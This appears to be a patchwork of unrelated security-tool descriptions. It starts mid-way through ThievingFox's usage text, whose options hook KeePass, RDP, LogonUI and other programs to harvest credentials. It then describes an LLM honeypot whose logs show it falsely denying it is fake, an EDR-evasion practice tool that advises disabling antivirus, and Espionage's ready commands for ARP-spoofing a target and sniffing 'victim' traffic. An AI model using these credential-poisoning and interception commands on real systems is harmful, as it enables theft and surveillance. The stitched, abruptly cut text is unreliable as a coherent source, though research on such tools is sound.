options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to poison KeePass.exe --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepassxc Try to poison KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --ke epassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to poison mstsc.exe --mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not logged in (Default: False) --consent Try to poison Consent.exe --logonui Try to poison LogonUI.exe --rdcman Try to poison RDCMan.exe --rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not logged in (Default: False) --mobaxterm Try to poison MobaXTerm.exe --mobaxterm-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not logged in (Default: False) --all Try to poison all applications
Cleanup
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to cleanup all poisonning artifacts related to KeePass.exe --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --keepassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to cleanup all poisonning artifacts related to mstsc.exe --consent Try to cleanup all poisonning artifacts related to Consent.exe --logonui Try to cleanup all poisonning artifacts related to LogonUI.exe --rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe --mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe --all Try to cleanup all poisonning artifacts related to all applications
Collect
For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.
Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of th e domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Collect KeePass.exe logs --keepassxc Collect KeePassXC.exe logs --mstsc Collect mstsc.exe logs --consent Collect Consent.exe logs --logonui Collect LogonUI.exe logs --rdcman Collect RDCMan.exe logs --mobaxterm Collect MobaXTerm.exe logs --all Collect logs from all applications
TL;DR: Galah (/Ι‘ΙΛlΙΛ/ - pronounced 'guh-laa') is an LLM (Large Language Model) powered web honeypot, currently compatible with the OpenAI API, that is able to mimic various applications and dynamically respond to arbitrary HTTP requests.
Description
Named after the clever Australian parrot known for its mimicry, Galah mirrors this trait in its functionality. Unlike traditional web honeypots that rely on a manual and limiting method of emulating numerous web applications or vulnerabilities, Galah adopts a novel approach. This LLM-powered honeypot mimics various web applications by dynamically crafting relevant (and occasionally foolish) responses, including HTTP headers and body content, to arbitrary HTTP requests. Fun fact: in Aussie English, Galah also means fool!
I've deployed a cache for the LLM-generated responses (the cache duration can be customized in the config file) to avoid generating multiple responses for the same request and to reduce the cost of the OpenAI API. The cache stores responses per port, meaning if you probe a specific port of the honeypot, the generated response won't be returned for the same request on a different port.
The prompt is the most crucial part of this honeypot! You can update the prompt in the config file, but be sure not to change the part that instructs the LLM to generate the response in the specified JSON format.
Note: Galah was a fun weekend project I created to evaluate the capabilities of LLMs in generating HTTP messages, and it is not intended for production use. The honeypot may be fingerprinted based on its response time, non-standard, or sometimes weird responses, and other network-based techniques. Use this tool at your own risk, and be sure to set usage limits for your OpenAI API.
Future Enhancements
Rule-Based Response: The new version of Galah will employ a dynamic, rule-based approach, adding more control over response generation. This will further reduce OpenAI API costs and increase the accuracy of the generated responses.
Response Database: It will enable you to generate and import a response database. This ensures the honeypot only turns to the OpenAI API for unknown or new requests. I'm also working on cleaning up and sharing my own database.
2024/01/01 04:29:10 Starting HTTP server on port 8080 2024/01/01 04:29:10 Starting HTTP server on port 8888 2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned 2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned
2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434 2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache 2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."} 2024/01/01 04:35:59 Sending the crafted response to [::1]:65434
^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers... 2024/01/01 04:39:27 All servers shut down gracefully.
% curl http://localhost:8888/are-you-a-honeypot No, I am a server.`
JSON log record:
{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}
π
% curl http://localhost:8888/i-mean-are-you-a-fake-server` No, I am not a fake server.
JSON log record:
{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}
CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
Features
Detection
Description
Direct Syscall
Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks.
NTDLL Unhooking
Identifies attempts to unhook functions within the NTDLL library, a common evasion technique.
AMSI Patch
Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis.
ETW Patch
Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection.
PE Stomping
Identifies instances of PE (Portable Executable) stomping.
Reflective PE Loading
Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis.
Unbacked Thread Origin
Identifies threads originating from unbacked memory regions, often indicative of malicious activity.
Unbacked Thread Start Address
Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection.
API hooking
Places a hook on the NtWriteVirtualMemory function to monitor memory modifications.
Custom Pattern Search
Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures.
Installation
To get started with CrimsonEDR, follow these steps:
Clone the repository: bash git clone https://github.com/Helixo32/CrimsonEDR
Compile the project: bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
β οΈ Warning
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
Usage
To use CrimsonEDR, follow these steps:
Make sure the ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:
Status Checker is a Python script that checks the status of one or multiple URLs/domains and categorizes them based on their HTTP status codes. Version 1.0.0 Created BY BLACK-SCORP10 t.me/BLACK-SCORP10
Features
Check the status of single or multiple URLs/domains.
Asynchronous HTTP requests for improved performance.
Color-coded output for better visualization of status codes.
Progress bar when checking multiple URLs.
Save results to an output file.
Error handling for inaccessible URLs and invalid responses.
Command-line interface for easy usage.
Installation
Clone the repository:
bash git clone https://github.com/your_username/status-checker.git cd status-checker
The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.
Espionage is a network packet sniffer that intercepts large amounts of data being passed through an interface. The tool allows users to to run normal and verbose traffic analysis that shows a live feed of traffic, revealing packet direction, protocols, flags, etc. Espionage can also spoof ARP so, all data sent by the target gets redirected through the attacker (MiTM). Espionage supports IPv4, TCP/UDP, ICMP, and HTTP. Espionag e was written in Python 3.8 but it also supports version 3.6. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Espionage. Note: This is not a Scapy wrapper, scapylib only assists with HTTP requests and ARP.
sudo python3 espionage.py --normal --iface wlan0 -f capture_output.pcap Command 1 will execute a clean packet sniff and save the output to the pcap file provided. Replace wlan0 with whatever your network interface is.
sudo python3 espionage.py --verbose --iface wlan0 -f capture_output.pcap Command 2 will execute a more detailed (verbose) packet sniff and save the output to the pcap file provided.
sudo python3 espionage.py --normal --iface wlan0 Command 3 will still execute a clean packet sniff however, it will not save the data to a pcap file. Saving the sniff is recommended.
sudo python3 espionage.py --verbose --httpraw --iface wlan0 Command 4 will execute a verbose packet sniff and will also show raw http/tcp packet data in bytes.
sudo python3 espionage.py --target <target-ip-address> --iface wlan0 Command 5 will ARP spoof the target ip address and all data being sent will be routed back to the attackers machine (you/localhost).
sudo python3 espionage.py --iface wlan0 --onlyhttp Command 6 will only display sniffed packets on port 80 utilizing the HTTP protocol.
sudo python3 espionage.py --iface wlan0 --onlyhttpsecure Command 7 will only display sniffed packets on port 443 utilizing the HTTPS (secured) protocol.
sudo python3 espionage.py --iface wlan0 --urlonly Command 8 will only sniff and return sniffed urls visited by the victum. (works best with sslstrip).
Press Ctrl+C in-order to stop the packet interception and write the output to file.
optional arguments: -h, --help show this help message and exit --version returns the packet sniffers version. -n, --normal executes a cleaner interception, less sophisticated. -v, --verbose (recommended) executes a more in-depth packet interception/sniff. -url, --urlonly only sniffs visited urls using http/https. -o, --onlyhttp sniffs only tcp/http data, returns urls visited. -ohs, --onlyhttpsecure sniffs only https data, (port 443). -hr, --httpraw displays raw packet data (byte order) recieved or sent on port 80.
(Recommended) arguments for data output (.pcap): -f FILENAME, --filename FILENAME name of file to store the output (make extension '.pcap').
The developer of this program, Josh Schiavone, written the following code for educational and ethical purposes only. The data sniffed/intercepted is not to be used for malicous intent. Josh Schiavone is not responsible or liable for misuse of this penetration testing tool. May God bless you all.